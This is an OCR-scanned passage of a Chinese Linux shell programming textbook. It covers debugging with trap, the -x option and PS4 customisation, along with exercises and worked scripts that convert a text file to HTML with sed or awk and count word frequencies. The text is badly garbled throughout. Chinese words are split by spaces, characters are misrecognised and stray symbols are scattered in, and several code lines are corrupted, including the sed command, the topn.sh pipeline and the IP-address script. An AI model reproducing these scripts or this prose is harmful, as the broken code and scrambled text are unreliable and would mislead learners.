++ echo "before execute line:16, a=8,b=32,c=70"' 





before execute line:16, a=8,b=32,c=70 
站 EEC 三 三 
++ echo "before execute line:7, a=8,b=32,c=60" 
before execute line:7, a=8,b=32,c=60 
++ echo "before execute line:9, a=8,b=32,c=60" 
before execute line:9, a=8,b=32,c=60 
4 a 2 0 
++ echo '‘'before execute line:14, a=8,b=32,c=60"' 
before execute line:14, a=8,b=32,c=60 
+ let a=a+2 
++ echo "before execute line:15, a=10,b=32,c=60" 
before execute line:15, a=10,b=32,c=60 
+ let 'b=b*2' 
++ echo "before execute line:16, a=10,b=64,c=60" 
before execute line:16, a=10,b=64,c=60 
三 
++ echo "before execute line:7, a=10,b=64,c=50" 
before execute line:7, a=10,b=64,c=50 
++ echo "before execute line:9, a=10,b=64,c=50" 
before execute line:9, a=10,b=64,c=50 
4 a 2 0 
++ echo "before execute line:11, a=10,b=64,c=50" 














before execute line:11, a=10,b=64,c=50 
+ break 
root@jselab DEBUG]# 


列 16-11 中 对 trapdebug.sh 脚本 的 调试 结果 比例 16-4 多 出 了 所 执行 的 每 条 命令 ， 即 上 述 结 
果 中 以 “+” 符 号 开头 的 语句 ，trap 命令 捕捉 到 DEBUG 信号 后 的 输出 语句 以 “++” 符 号 开头 ， 














瑟 





















































zi 
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如 此 详细 的 信息 








有 助 于 程序 员 在 执行 脚本 的 过 程 中 进行 跟踪 ， 


到 精通 》 























-x 选项 以 “] 
重要 信息 ， 对 调试 将 
bash Shell 提供 了 三 个 有 用 的 内 六 
义 列 于 表 16-3 中 。 






































表 16-3 Shell 用 于 调试 的 内 部 变 


变量 名 称 


”符号 作为 提示 符 表示 调试 信息 ， 显 得 美中不足 ， 如 
[有 和 帮助， 那么， 
变量 ， 可 以 用 于 -x 选项 提示 符 的 定制 ， 








我 们 能 否定 制 -x 选项 的 提示 符 














从 而 发 现 所 存在 的 逻辑 错误 。 


果 提 示 符 能 包含 一 些 


人 答案 是 肯 本 定 的 。 
三 个 变量 及 其 意 








LINENO 


表示 Shell 脚本 的 行 号 











FUNCNAME 


数组 变量 ， 表 示 整 个 调用 链 上 




















PS4 设置 -x 选项 




















有 了 上 述 三 个 内 部 变量 ， 我 们 就 可 以 通过 





的 提示 符 ， 默 认 值 


























和 FUNCNAME 等 丰富 的 信息 。 





ona 
seo 
a I MD ys 
then 
Eeturnol 
else 
Eeturnao 
el 
} 
echoroot () 
{ 
二 二 二 GO 
ES 全 | 
then 
eehey om neehReo 
else 
echo “ROOT User!™ 
oul 


} 


# 对 PS4 赋值 ， 定 制 -x 选项 的 提示 符 


export ps4=" + (ILINENOSS 
echoroot 


例 16-12 的 nestfun.sh 脚本 定 


EUN 


例 16-12: nestfun.sh 脚本 演示 - 











x 选项 提示 符 的 定制 功能 


# 判 断 是 


否 是 root 用 户 





设置 PS4， 使 得 -x 选项 提示 符 能 包含 LINENO 
下 面 的 例 16-12 演示 定制 -x 选项 提示 符 的 用 法 : 





# 调 用 isroot 函数 ， 输 出 相关 信息 


Se El 


CNAME [0] } : ${FUNCNAME [1]}}' 


# 调 用 echoroot 函数 














义 了 两 个 函数 isroot 和 echoroot， 而 上 且 

















用 。isroot 函数 用 于 判断 执行 脚本 














的 用 户 是 否 是 root， 若 是 ， 则 返回 0， 


| 两 个 函数 之 间 髓 套 调 
否则 返回 1]; echoroot 














嵌 套 调用 isroot， 根 据 0 和 1 返 世 














值 输出 相应 的 信息 。 然 后 ，nestfun.sh 























赋值 








, PS4="+{$LINENO:$ {FUNCNAME[O0]}:$ {FUNCNAMEI[1]}}', 














本 的 行 号 、 当 














前 函数 名 字 ， 以 及 调 





记录 了 整个 i 


| 


用 链 上 所 有 的 函数 名 字 ， 变 量 ${FUNCNAME[0]} 表示 Shell 脚本 当 
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用 当前 函数 的 函数 名 字 ，$FUNCNAME 是 一 个 数组 变量 ， 


脚本 对 PS4 变量 重新 





即 -x 选项 的 提示 符 显 示 脚 








前 正在 执行 
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的 函数 的 名 字 , 而 变量 $YFUNCNAME[I]} 则 表示 调用 函数 $IFUNCNAME[0]} 的 函数 名 字 ， 以 


此 类 推 。 下 面 给 出 nestfun.sh 脚本 用 -x 选项 的 调试 结果 : 
例 16-12 nestfun.sh 脚本 的 执行 结果 
root@jselab DEBUG]# sh -x nestfun.sh 
























































+t{::{[1]}}export 'PS4=+{$LINENO: ${FUNCNAME[O0]}: ${FUNCNAME[1]}}'" 
::{[1]}}PS4='+{$LINENO: ${FUNCNAME [0]}: ${FUNCNAME[1]}}" 

ee ln ane 主 函 数 调用 echoroot 

+{15:echoroot:main}isroot echoroot 调用 isroot 

iS ocean ul @ ns 0 执行 1sroot 中 的 if 语句 

+{9:isroot:echoroot}return 0 执行 isroot 中 的 return 语句 

en oo mo 执行 echoroot 中 的 if 语句 

+{20:echoroot:main}jecho 'ROOT userl' 执行 echoroot 中 的 echo 语句 

ROOT user! 脚本 正常 输出 的 结果 
root@jselab DEBUG]# 

从 上 述 nestfun.sh 脚本 的 执行 结果 可 以 看 出 ，-x 选项 的 提示 符 能 够 显示 行 号 、 函 数 名 称 。 








如 : +{15:echoroot:main}isroot 表示 脚本 15 行 ， 所 在 函数 是 echoroot， 调 用 echoroot 函数 的 是 
main 函数 ，Shell 脚本 main 函数 指 的 是 该 脚本 本 身 的 代码 ， 执 行 的 命令 是 调用 isroot。 

-C 选项 使 Shell 解释 器 从 一 个 字符 串 中 而 不 是 从 一 个 文件 中 读 取 并 执行 Shell 命令 ， 当 需 
要 临时 测试 一 小 段 脚 本 的 执行 结果 时 ， 可 以 使 用 这 个 选项 。-c 选项 使 用 频率 不 高 。 下 面 举 一 


个 例子 说 明 -c 选项 的 意思 和 用 法 : 
例 16-13: 演示 -c 选项 的 用 法 

单 引号 是 一 个 字符 串 ， 字 符 串 中 包含 若干 条 命令 ， 中 间 用 分 号 分 隔 

FOGE selas DEBUGIH sn "20 2010,1e0 ee $a900 een Ser 
c=4020 
root@jselab DEBUG]# 


sh -c a Ci te 命令 来 执行 ， 一 个 字符 串 可 以 包含 多 个 命令 ,命令 
之 间 需 要 用 分 号 分 隔 。 例 16-13 字符 串 包 含 了 4 个 命令 ， 结 果 输 出 c 变量 的 值 。 


人 63 人 


针对 Shell 脚本 调试 难度 大 的 问题 ， 本 章 全 面 、 系 统 地 介绍 了 Shell 脚本 调试 技术 ， 主 要 
包含 四 种 技巧 : trap 命令 、tee 命令 、 调试 钧 子 和 Shell 选项 。trap 命令 能 代 奉 echo 语句 ， 很 
方便 地 在 脚本 中 输出 调试 信息 ， 能 用 于 变量 跟踪 、 函 数 和 命令 成 功 与 否 的 跟踪 等 。tee 命令 常 
用 于 调试 管道 错误 ， 便 于 程序 员 明 晰 管道 | 调试 钩子 是 借鉴 高 级 程序 设计 语言 
的 方法 ， 它 使 得 调试 模块 与 程序 功能 模块 分 离 ， 是 一 种 很 好 的 脚本 编写 风格 。Shell 选项 是 不 
改变 脚本 内 容 而 进行 脚本 调试 的 一 种 方法 ，-n 如 和 和 选项 是 常见 的 脚本 调试 手段 ，-n 选项 
适用 于 调试 脚本 的 语法 错误 ， 而 -<x 选项 则 适用 于 调试 脚本 的 逻辑 错误 。 


164 人 


J 面 的 脚本 试图 输出 语句 Why can't I write 's between single quotes， 请 指出 该 脚本 存 
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在 哪些 错误 ?这 些 错 误 的 类 型 是 什么 ? 最 后 给 出 改正 后 的 脚本 。 


#!/bin/bash 








echo ‘Why can''"'t I write' "“"'s between single quotes" 


2. 下 面 的 脚本 需要 输出 SPWD= -当前 目录 ] 属 式 的 续 井 果 ,请 指出 该 脚本 存在 哪些 错误 ? 
些 错误 的 类 型 是 什么 ? 最 后 给 出 改正 后 的 脚本 。 


#! /bin/bash 




















echo "$PWD=pwd" 

3. 下 面 重新 给 出 一 个 获得 本 地 IP 地 址 的 Shell 脚本 ， 脚 本 名 字 是 obtainIP2.sh， 内 容 如 下 : 
# obtainIP2.sh 脚本 : 获取 本 地 IP 地 址 ， 将 其 存储 到 localIP 变量 中 

#!/bin/bash 























ecelme mieontioal eree mmec addr ore woo a Fon 
echo "The local IP is: $localIP" 


obtainIP2.sh 脚本 中 是 存在 逻辑 错误 的 , 请 使 用 tee 命令 对 obtainIP2.sh 脚本 进行 调试 , 发 
现 其 中 的 错误 并 改正 。 
4. 对 例 16-12 给 出 的 nestfun.sh 脚本 ， 利 用 trap 命令 捕捉 EXIT 信号 和 ERR 信号 ，trap 





































































































命令 对 此 两 种 信号 输出 不 同 的 内 容 ， 分 别 用 root 用 户 和 非 root 用 户 执行 nestfun.sh 脚本 ， 观 
察 输出 的 结果 。 

5. 下 面 给 出 的 脚本 涉及 子 Shell 的 创建 ， 请 用 -x 选项 对 该 脚本 进行 调试 ， 观 察 变 量 取 值 
的 变化 。 


tereatemsubshel ls 
#!/bin/bash 


outervar=OUTER 














( # 进 入 子 Shell 
echo "Enter the subShell" 
innervar=INNER 


) 


echo "Return to father Shell is:; $BASH SUBSHELL" 

6. 当 利 用 -x 选项 对 create_subshell.sh 脚本 进行 调试 时 ,< 选项 提示 符 需 要 显示 当前 命令 
的 行 号 和 子 Shell 层次 两 个 参数 的 信息 , 请 通过 对 PS4 变量 的 赋值 实现 -x 选项 的 定制 。( 提 示 : 
可 用 $BASH_SUBSHELL 变量 ) 
7. 下 面 的 脚本 readname.sh 接受 用 户 输入 姓名 , for 循环 查看 输入 的 姓名 是 否 在 已 定义 的 
列表 中 ， 请 用 trap 命令 跟踪 readname.sh 脚本 变量 的 变化 。 


#!/bin/bash 
LIST="Zhiang Qing John Yi Xiaojin Norman Leslie Longkui" 










































































了 


























echo -n "Please enter your name:" 
read NAME 


fore reve er re 

el 
Ee] 
then 
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调试 带 来 的 便利 。 
10. 利用 -c 选项 写 出 命令 ， 实 现 如 下 功能 : 列 出 /etc 目录 中 所 有 以 m 开头 文件 的 详细 














i 
Zk 
证 





11. 下 面 给 出 一 个 脚本 片段 ， 这 个 片段 试图 跟踪 系统 日 志文 件 (var/log/messages ) 的 最 
息 ， 但 是 ， 这 段 代 码 会 被 挂 起 ， 不 会 做 任何 有 意义 的 事情 。 请 读者 分 析 其 中 原因 ， 并 修 
， 让 这 个 脚本 按 要 求 运行 。( 提 示 : 不 要 使 用 代码 块 重 定向 ， 试 试管 道 ) 
while read LINE 

do 












































CT 天 


























echo $LINE 
done < ‘tail -f /var/log/messages. 


Shell 脚本 语言 一 般 不 适用 于 大 型 的 项 目 、 计 算 复 杂 的 工程 或 有 高 
级 需求 的 应 用 软件 ， 它 适用 于 系统 管理 、 文 本 处 理 等 方面 完成 特定 功 
能 的 常用 的 小 工具 或 小 程序 。 本 章 介 绍 儿 个 Shell 编程 在 系统 管理 、 文 
本 处 理 和 数据 库 等 方面 的 实例 , 有 的 例子 是 计算 机 科学 中 的 经 典 问题 
有 的 例子 出 自 大 型 公司 Linux 测试 题 ， 这 些 实例 都 需要 综合 使 用 前 面 
章节 所 述 的 Shell 命令 和 编程 技巧 ,希望 这 些 实 例 对 读者 灵活 运用 Shell 
编程 技术 有 所 帮助 。 

































































山居 中 
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将 文本 文件 转化 为 HTML 文件 


HTML (HyperText Mark-up Language ) 称 为 超 文 本 标记 语言 




















言 。HTML 文本 是 由 HTML 命令 组 成 的 托 




















或 超 文本 链接 标示 语言 ， 是 
目前 万 维 网 《World Wide Web，WWW) 上 应 用 最 广泛 的 语言 ， 也 是 构成 网 页 文档 的 主要 语 
述 性 文本 , HTML 命令 可 以 说 明文 字 、 图 形 、 动 画 








站 


~“ 














7 





声音 、 表 格 、 链 接 等 。HTML 的 结构 包括 头 部 〈Head)、 主 体 (Body) 两 大 部 分 ， 其 中 头 部 

















述 浏览 器 所 需 











览 器 打开 ， 并 以 我 们 大 








[root@zawu shell-program]# cat TEACHER.db 





Tenolna Lo tone Un rE Nana 






























































Tm un vere ottlorento Loronto Canaea 


Luo:Southeast University:Nanjing:China 


zhang:Victory University:Melbourne:Australia 


B 
@ 
D Hou:Beijing University:Beijing:China 
可 
生 
[ 


root@zawu shell-program]# 


TEACHER.db 文件 的 每 行 是 一 条 记录 ,记录 了 一 位 教授 的 妈 


的 信息 ， 而 主体 则 包含 所 要 说 明 的 具体 内 容 。 
本 厄 介绍 一 个 能 将 普通 文本 文件 转化 为 HTML 文人 





F 的 脚本 ， 该 HTML 可 以 用 Internet 浏 
E HTML 文件 中 所 设置 的 格式 显示 。 以 下 面 的 TEACHER.db 文件 为 例 : 


# 查 看 TEACHER .db 文件 的 内 容 


hina 








域 之 间 用 冒号 分 隔 。 我 们 现在 要 将 TEACHER.db 文件 转换 为 HTML 格式 的 文件 ， 即 试图 将 
TEACHER.db 文件 转化 到 如 下 的 格式 : 


#TERACHER .html 文件 的 格式 
<IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/ 
TR/html4/loose.dtd"> 





<HTML> 
<HEAD> 

oT 
/DIE > 
</HEAD> 
<BODY> 

<TABLE> 
<TR> 





<MD> PRI/ DS 

<TD>Shanghai Jiaotong University</TD> 
<TD>Shanghai</TD> 

=<mD> Enna RD 


</TR> 

EE RE 
<IEODY> 
</HTML> 








HTML 文件 的 第 一 行 是 DOCTYPE 声明 行 ， DOCTYPE 是 document type《〈 文 档 类 型 ) 的 
简写 ， 用 来 说 明 所 使 用 的 XHTML 或 者 HTML 是 什么 
读 程序 应 该 用 什么 规则 集 来 解释 文档 中 的 标记 ， 不 正 胡 
正确 显示 ， 或 者 导致 它们 根本 不 能 显示 。 在 此 ， 我 们 所 使 用 的 是 HTML 4.0 版 本 ， 就 使 用 
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版 本 。DOCTYPE 声明 的 作用 是 指出 阅 
的 DOCTYPE 声明 经 常 导致 网 页 不 能 
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“<!DOCTYPE HTML PUBLIC "-/W3C//DTD HTML 4.0 Transitional//EN" "http:/www.w3. 
org/TR/html4/loose.dtd">” 语 句 声明 。 

HTML 文件 中 所 有 用 尖 括 号 <>) 标记 的 字段 称 为 标签 ， 标 签名 称 是 不 区 分 大 小 写 的 ， 
如 果 起 始 标签 是 <TAG>， 与 其 对 应 的 结束 标签 RS TN 
ee A tee i Dott a rst 
HTML 文件 的 头 部 ， 其 中 ，<TITLE></TITLE> 标 签 对 用 于 定义 该 文件 的 标题 ， 即 在 浏览 
ao 
<BODY> 中 可 以 用 很 多 种 办 法 显示 TEACHER.db 文件 的 内 容 。 在 本 例 中 ,， 我们 用 表格 的 形式 
来 显示 TEACHER .db。 
<TABLE></TABLE> 标 签 对 定义 了 一 张 表格 ， 表 格 由 行 组 成 ， 每 行 对 应 于 TEACHER.db 
文件 的 一 条 记录 ; <TR></TR> 标 签 对 定义 了 表格 的 一 行 ， 表 格 行 又 包含 了 很 多 单元 格 ， 每 个 
单元 格 对 应 于 TEACHER.db 文件 记录 的 一 个 域 ， <TD></TD> 标 签 对 定义 了 表格 行 中 的 一 个 
单元 格 ， 而 TEACHER.db 文件 记录 的 域内 容 就 保存 到 <TD></TD> 标 签 对 中 ， 如 : <TD>B 
Liu</TD>。 

在 了 解 TEACHER.db 和 TEACHER.html 文件 格式 的 基础 上 上, 我们 需要 编写 
现 TEACHER.db 到 TEACHER .html 的 转换 ， 该 脚本 可 以 通过 以 下 三 个 步骤 来 

Q) 建立 HTML 文件 开始 处 的 模板 文件 ， 直 到 <TABLE> 之 前 。 

@) 将 TEACHER.db 的 记录 放 到 <TD></TD> 标 签 对 内 。 

@) 建立 HIML 文件 结束 时 的 模板 文件 ， 从 <\TABLE> 到 结束 。 

将 文本 文件 转换 为 HIML 文件 的 脚本 名 为 htmlconver.sh， 内 容 如 下 : 


# 例 17-1: htmlconver .sh 脚本 将 文本 文件 转换 为 HTML 文件 
#!/bin/bash 
ea << Cio # Here-document 用 法 ，CLOUD 是 分 界 符 
< OC EM UBT /AWAY DT nM A ne ne/ EN ey /i ee 
nemld/ loose dtd> 
<HTML> 
<HEAD> 
< TE 
教授 的 信息 
/TE 
</HEAD> 
> 
<TABLE> 


CLOUD # 建 立 HTML 文件 开始 处 的 模板 文件 

























































































Shell 脚本 实 
成 : 














机 
























































dt 
寻 














# 将 标准 输入 的 内 容 用 sed 命令 进行 处 理 ，seq 命令 有 3 个 编辑 选项 

# 第 1 个 编辑 选项 将 域 分 割 符 ( : ) 替换 成 </TD><TD> 

# 第 2 个 编辑 选项 在 每 行 起 始 处 加 上 <TR><TD> 

# 第 3 个 编辑 选项 在 每 行 结束 处 加 上 </TD></TR> 

sedl es/ /<\N/ITDS<TDS/g "9 Oo/ /<TR><TDS/G OS/P/<\/TDS<\/TRS/G 


























GE 
MAB TE 

< BODY> 
</HTML> 


CLOUD # 建 立 HTML 文件 结束 时 的 模板 文件 完成 
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htmlconver.sh 脚本 在 建立 HTML 文件 开始 处 和 结束 处 的 模板 文件 时 都 使 用 了 cat 命令 的 
Here-document 用 法 ，cat << CLOUD 将 到 下 一 个 CLOUD 出 现 的 所 有 中 间 内 容 输 出 到 stdout， 
这 种 用 法 在 本 书 第 10 章 已 介绍 过 。 开始 处 的 模板 文件 将 <TITLE> 标 签 命名 为 “教授 的 信息 ”， 
并 且 开 始 处 模板 文件 输出 了 <BODY> 和 <TABLE>。 接 着 ，htmlconver.sh 脚本 利用 sed 命令 将 
TEACHER.db 的 记录 放 到 <TD></TD> 标 签 对 内 ， 它 利用 sed 的 三 个 编辑 选项 来 实现 , 第 1 个 
编辑 选项 将 域 分 隔 符 ( 即 冒 号 ) 替换 成 <TD><TD>， 值 得 注意 的 是 ,“/” 属 于 特殊 字符 ， 需 
要 用 转 义 符 将 其 转化 为 字面 含义 ;第 2 个 编辑 选项 在 每 行 起 始 处 加 上 <TR><TD>， 以 正则 表 
达 式 “^” 匹 配 行 首 ; 第 3 个 编辑 选项 在 每 行 结束 处 加 上 </TD></TR>， 仍 以 转 义 符 屏 蔽 “/”， 
用 正则 表达 式 “$” 匹 配 行 首 。 
下 面 是 例 17-1 的 htmlconver.sh 脚本 的 执行 结果 : 

例 17-1 htmlconver .sh 脚本 的 执行 结果 

root@zawu shell-program]l# chmod u+x htmlconver.sh 

执行 htmlconver .sh， 将 TEACHER. db 重 定向 到 stdin，stdout 重 定向 到 TEACHER .html 
root@zawu shell-program]# ./htmlconver.sh <TEACHER.db >TEACHER.html 
root@zawu shell-program]# cat TEACHER.html # 查 看 TEACHER .html 的 文件 内 容 

区 
html4/loose.dtd"> 

<HTML> 

<HEAD> 

< TT 
教授 的 信息 
< 
</HEAD> 
<BODY> 
<TABLE> 

<TR><TD>B Liu</TD><TD>Shanghai Jiaotong University</TD><TD>Shanghai</TD><TD>China</TD></TR> 

TR > LDC />< Un ry oF noron /iD TD Toronto AnD TD Canada /TD SR 

<TR><TD>D Hou</TD><TD>Beijing University</TD><TD>Beijing</TD><TD>China</TD></TR> 

RE 有 

<TR><TD>Y Zhang</TD><TD>Victory University</TD><TD>Melbourne</TD><TD>Australia</TD></TR> 

</TABLE> 

EMBODY> 

</HTML> 

[root@zawu shell-program]# 
# 尽 管 <TR></TR> 将 其 中 的 所 有 <TD> 标 签 放 在 一 行 ， 但 是 不 影响 显示 结果 ， 只 是 可 读 性 变 差 了 
在 例 17-1 中 ,htmlconver.sh 执行 时 需要 将 TEACHER.db 重 定 癌 到 stdin，stdout 重 定 问 到 
TEACHER.html。 图 17-1 展示 了 用 浏览 器 打开 TEACHER.html 文件 的 效果 ,浏览 器 窗口 内 显 
示 了 TEACHER.db 的 所 有 记录 ， 浏 览 器 标题 栏 显 示 了 htmlconver.sh 脚本 中 设置 的 <TITLE> 
标签 信息 。 

为 了 提高 脚本 的 可 扩展 性 ， 我 们 对 htmlconver.sh 脚本 再 展开 几 点 讨论 ， 这 些 讨论 有 助 于 
开阔 读者 的 思路 : 

1 ) htmlconver.sh 脚本 在 建立 HTML 文件 开始 处 和 结束 处 的 模板 文件 时 使 用 的 是 cat 命令 
的 Here-document 用 法 ， 这 是 比较 高 级 的 用 法 ， 如 果 简 单一 点 ， 也 可 以 考虑 使 用 echo、print 


等 命令 来 实现 。 


2) 将 TEACHER.db 的 记录 放 到 <TD></TD> 标 签 对 内 ，htmlconver.sh 脚本 是 使 用 sed 命 
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心 











令 来 实现 的 , 这 是 一 种 比较 直接 的 用 法 ， 因 为 sed 适合 处 理 数据 流 
命令 实现 同样 的 功能 ， 请 看 如 下 显示 的 htmlconver2.sh 脚本 : 















































和 。 换 个 思路 ,我 们 使 用 awk 














教授 的 信 咎 轩 Window 引 Internned explored 








~ | 臣 cpocuments and 5ettings\Vadministraton\ 课 面 \TEACHER.html 






























文件 ”和 5nagt 加 HTML 页 面 的 标题 
号 : 面 7 名 国 知 国 | 这 - 国 扫 "全 -2 寺 
窗 交大 ga0i 和 外 全- | 








B Liu Shanghai Jiaotong Universit 
C Lin University of Toronto 

D Hou Beijing University 

J luo 。 Southeast University 

Y ZhangVictory 


YShanghai China 
Toronto Canada 
Beijing China TEACHER.db 的 记录 
Nanjing China 


University Melbourne Australia 





#htmlconver2. sh 脚本 : 
#!/bin/bash 
eat < CLOUD 


< DOCTYBEN EM UT /WS DD TM A ren /EN /AW ee 


html4/loose.dtd"> 
<HTML> 
<HEAD> 
=TLTEE> 
教授 的 信息 
TT 
</HEAD> 
<BODY> 
<TABLE> 
CLOUD 





最 我 的 电脑 区 100% ”4 


17-1 用 浏览 器 打开 TEACHER.html 文件 

















用 awk 实现 htmlconver .sn 脚本 同样 的 功能 

















#awk 利用 内 置 的 字符 串 处 理 函 数 将 行 首 (^) 替换 为 <TR><TD> 
# 将 行 尾 ($) 替换 为 </TD></TR> 


# 而 将 加 入 </TD><TD> 交 给 了 OFS 变量 ， 即 将 输出 的 域 分 隔 符 改 为 </TD><TD> 





awk 'BEG 
$1,$2,$3,$4}" 














# 读 者 不 妨 思 考 : 能 将 print $1,$2,$3,$4 改 成 print $0 么 ? 


ea < er 
EE RE 
“AEODY> 
</HTML> 
CLOUD 


htmlconver2.sh 脚本 建立 HTML 文件 开始 处 和 Oe 与 htmlconver.sh 完全 相 
同 ， 在 此 不 再 讨论 。htmlconver2.sh 脚本 利用 awk 命 








功能 ，awk 利用 内 置 的 字符 串 和 














</TD></TR> ， 








NS OBS WMD ma /MRD /PD 


了 将 输出 的 域 分 隔 符 改 为 STD><TD>， 这 样 就 方便 地 实现 了 与 sed -e 





a 

















实现 与 htmlconver.sh 脚本 sed 一 样 的 
将 行 尾 ($) 替 换 为 
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's/:/<VTD><TD>/g' 同 样 的 功能 。 
3) TEACHER.db 





和 htmlconver2.sh 两 个 























的 域 分 隔 符 是 冒号 ， 











却 本 的 修改 方法 。 
4) 如 果 我 们 需要 美化 HTML 文 伯 
就 需要 在 HTML 文件 中 添加 更 复杂 





























如 果 文 本 文件 使 用 其 他 域 分 隔 符 ， 再 将 其 转换 为 
HTML 文件 时 ， 就 需要 对 htmlconver.sh 脚本 做 相应 的 修改 ， 读 者 可 以 思考 一 下 htmlconver.sh 























写 脚本 实现 文本 文件 到 更 复杂 的 HTML 文件 的 转化 。 























计算 机 科学 中 有 一 个 著名 的 问题 ， 写 
的 单词 ， 输 出 结果 需要 显示 这 些 单词 











等 高 级 程序 设计 语言 编写 这 样 的 各 




















找 文本 中 个 出 现 频 率 最 高 的 单词 





一 个 文本 处 到 





查找 文本 中 nn 个 出 现 频率 最 高 的 单词 

















序 比 较 


o 


wh 
复杂 ， 



































的 显示 效果 ， 如 设 定单 元 格 的 宽度 、 改 变 字 体 等 ， 这 
的 标签 。 读 者 可 以 参考 HTML 文件 标签 的 相关 内 容 ， 编 

















站 


\ / 
se、 


EE 程序， 查找 文本 中 个 出 现 频率 最 高 
上 现 的 次 数 ， 并 按照 次 数 从 大 到 小 排序 。 用 C/C++、Java 
需要 花费 数 小 时 来 编写 程序 ， 但 是 ， 如 果 利 
用 Shell 脚本 编程 ， 只 需 几 分 钟 就 能 编写 出 该 程序 。 本 节 将 介绍 如 何 编写 一 个 脚本 程序 来 查 






































查找 文本 中 半 个 出 现 频率 最 高 的 单词 是 比较 复杂 的 ， 解 决 复杂 问题 的 常用 方法 是 将 复杂 


问题 切 分 成 若干 个 简单 的 子 问题 加 以 解决 ， 我 们 可 以 将 查找 文本 中 个 出 现 频率 最 高 的 单词 


这 一 问题 切 分 为 如 下 几 个 子 问 题 : 











@ 将 文本 文件 以 一 行 
@ 将 单词 
图 对 单词 进行 排序 。 





















































由 对 排序 好 的 单词 列表 统计 每 个 单 




















@ 最 后 显示 单词 列表 的 前 项。 








个 单词 的 形式 显示 出 来 。 
中 的 大 写字 母 转化 为 小 写字 母 ， 即 Word 和 word 认为 是 





词 出 现 的 次 数 。 





查找 文本 中 于 个 出 现 频率 最 高 



































# 例 17-2: topn.sh 
#!/bin/bash 


end=$1 


eat $2 
‘a Er We 从 | 
tr D2 sz 
Sm 有 
ee 
Sort =RLAr =K2 | 
head -n"$end" 


topn.sh 脚本 有 两 个 输入 参数 ， 用 位 置 
是 目标 文本 文件 的 名 称 。topn.sh 脚本 的 主体 由 7 条 命令 和 6 个 管 





出 频率 最 高 单词 的 个 数 〈 即 2) 和 目 
间 本 查找 文本 中 了 个 出 


m [NO m 


























的 单词 的 脚本 名 为 topn.sh， 该 脚本 需要 两 个 输入 参数 ， 输 






































$2 是 





























对 单词 进行 排序 


标 文 本 文件 的 名 称 ，topn.sh 脚本 的 内 容 如 下 : 


见 频 率 最 高 的 单词 


$1 是 输出 频率 最 高 单词 的 个 数 





标 文 本 文件 名 称 
将 文本 文件 以 一 行 一 个 单词 的 形式 显示 出 来 
将 单词 中 的 大 写字 母 转化 为 小 写字 母 








对 排序 好 的 单词 列表 统计 每 个 单词 出 现 的 次 数 








按 出 现 频率 排序 ， 











按 字 母 顺序 排序 

















显示 前 n 行 














参数 来 实现 ，$1 是 输出 频率 最 高 单词 的 个 数 ，$2 























文件 的 全 部 内 容 送 入 管道 ，tr 命令 的 -c 选项 用 于 选 定 不 在 "[a-z][A 





-Z]" 字 符 集 内 的 字符 ， 





道 符 组 成 ，cat 命令 将 文本 


红 命 
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令 将 选 定 的 字符 转换 成 换行 符 ，\012 是 换行 符 的 八进制 码 ，* 表 示 将 换行 符 任意 扩展 ， 使 
等 于 被 蔡 换 的 字符 集 个 数 ， 这 样 就 将 所 有 非 字 母 的 符号 转换 为 换行 符 ， 从 而 将 文本 文件 以 一 
行 一 个 单词 的 形式 显示 出 来 。 然 后 ， 通 过 一 个 tr 命令 将 单词 中 的 大 写字 母 转化 为 小 写字 母 ， 
sort 命令 对 一 行 一 个 单词 的 列表 进行 排序 ，uniq -c 命令 对 排序 好 的 单词 列表 统计 每 个 单词 出 
现 的 次 数 。 这 样 就 得 到 了 出 现 频率 及 其 对 应 单词 的 列表 ，topn.sh 脚本 再 用 sort 按照 出 现 频率 
从 大 到 小 排序 ， 如 果 出 现 频率 相同 ， 则 再 按 字 母 顺 序 排序 。 最 后 ，topn.sh 脚本 利用 head 命 
令 输 出 前 行 ， 即 输出 文本 中 个 出 现 频 率 最 高 的 单词 。 

下 面 通过 一 个 实例 来 说 明 topn.sh 脚本 的 执行 情况 ，poem.txt 文件 是 两 位 翻译 家 对 《红楼 
梦 》 中 两 首 诗歌 的 译文 ， 内 容 如 下 : 


#poem.txt 文件 的 内 容 
The Yangs: No silk thread can string these pearls; 








/区 








i 收 ~ 
























































En 





















































































































































Dim now the tear-stains of those bygone years; 
A thousand bamboos grow before my window-—-— 
Is each dappled and stained with tears? 
Hawkes: Yet silk preserves but 11 the Naiad's tears: 
Eachsalty trace of themfast dlsappearse 
Only the speckled bamboo stems that grow 
Outside the winaow still her tear-marks show. 
The Yangs: > So 
Gone with the foam the beauty who felled cities, 
Here one torameome nm es alaccean mer or eam, 
Laugh not at the East Village girl who aped her ways, 
White- haired, she still washed clothes beside the stream. 
Hawkes: Xl Seat 
That kingdom-quelling beauty dissolved like the flower of foam, 
Ineehne torervenalaoe hn yen vearn ror veouveel em 
Who laughs at your ugly neighbour with her frown-and-simper now, 
Still steeping her yarn at the brook-side, and the hair snow-white on her brow? 
我 们 使 用 topn.sh 脚本 分 别 统计 poem.txt 文件 中 前 5 个 和 前 10 个 出 现 频 率 最 高 的 单词 ， 
下 面 是 例 17-2 的 topn.sh 脚本 的 执行 结果 : 
# 例 17-2 topn.sh 脚本 的 执行 结果 
[root@zawu shell-program]# ./topn.sh 5 poem.txt # 统 计 前 5 个 出 现 频 率 最 高 的 单词 
14 the 
6 her 
Snel 
Sa 
S06 
[root@zawu shell-program]# ./topn.sh 10 poem.txt # 统 计 前 10 个 出 现 频率 最 高 的 单词 
14 the 
6 her 





























Co 
办 
Sy 
已 


with 
0 eal 


[root@zawu shell-program]# 
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从 上 面 topn.sh 朋 


./topn.sh n filename 


poem.txt 中 出 现 频率 最 高 的 单词 是 the， 
根据 字母 顺序 对 单词 进行 排序 ， 妇 


本 的 执行 结果 可 以 看 出 ，topn.sh 
4 第 1 个 参数 n 是 查找 最 高 频率 
# 第 2 个 参数 fi1 












































最 前 面 ， 字母 x 首 





tr、so 


























F 头 的 单词 排 在 最 后 











ly 
T 











本 处 理 方面 是 非常 强大 的 。 


伪 随 机 数 的 产生 和 应 用 


计算 机 不 会 产生 绝对 
只 是 一 种 理想 的 随机 数 ， 不 管 计 算 机 怎 伴 
生成 相对 的 随机 数 ， 即 伪 随 机 数 。 




















现 了 14 次 , 对 
上 例 17-2 中 ， 出 现 频率 为 3 的 单词 


基本 的 调 











ename 是 需要 统计 单词 频率 的 目标 文件 


























岗 频率 相同 的 单词 ，topn.sh 
， 字 母 a 开头 的 单词 排 在 


























。topn.sh 脚本 十 分 简洁 ， 但 是 ， 
rt、uniq、head 等 文本 处 理 命令 。 同 时 ， 本 节 的 例子 也 充分 说 





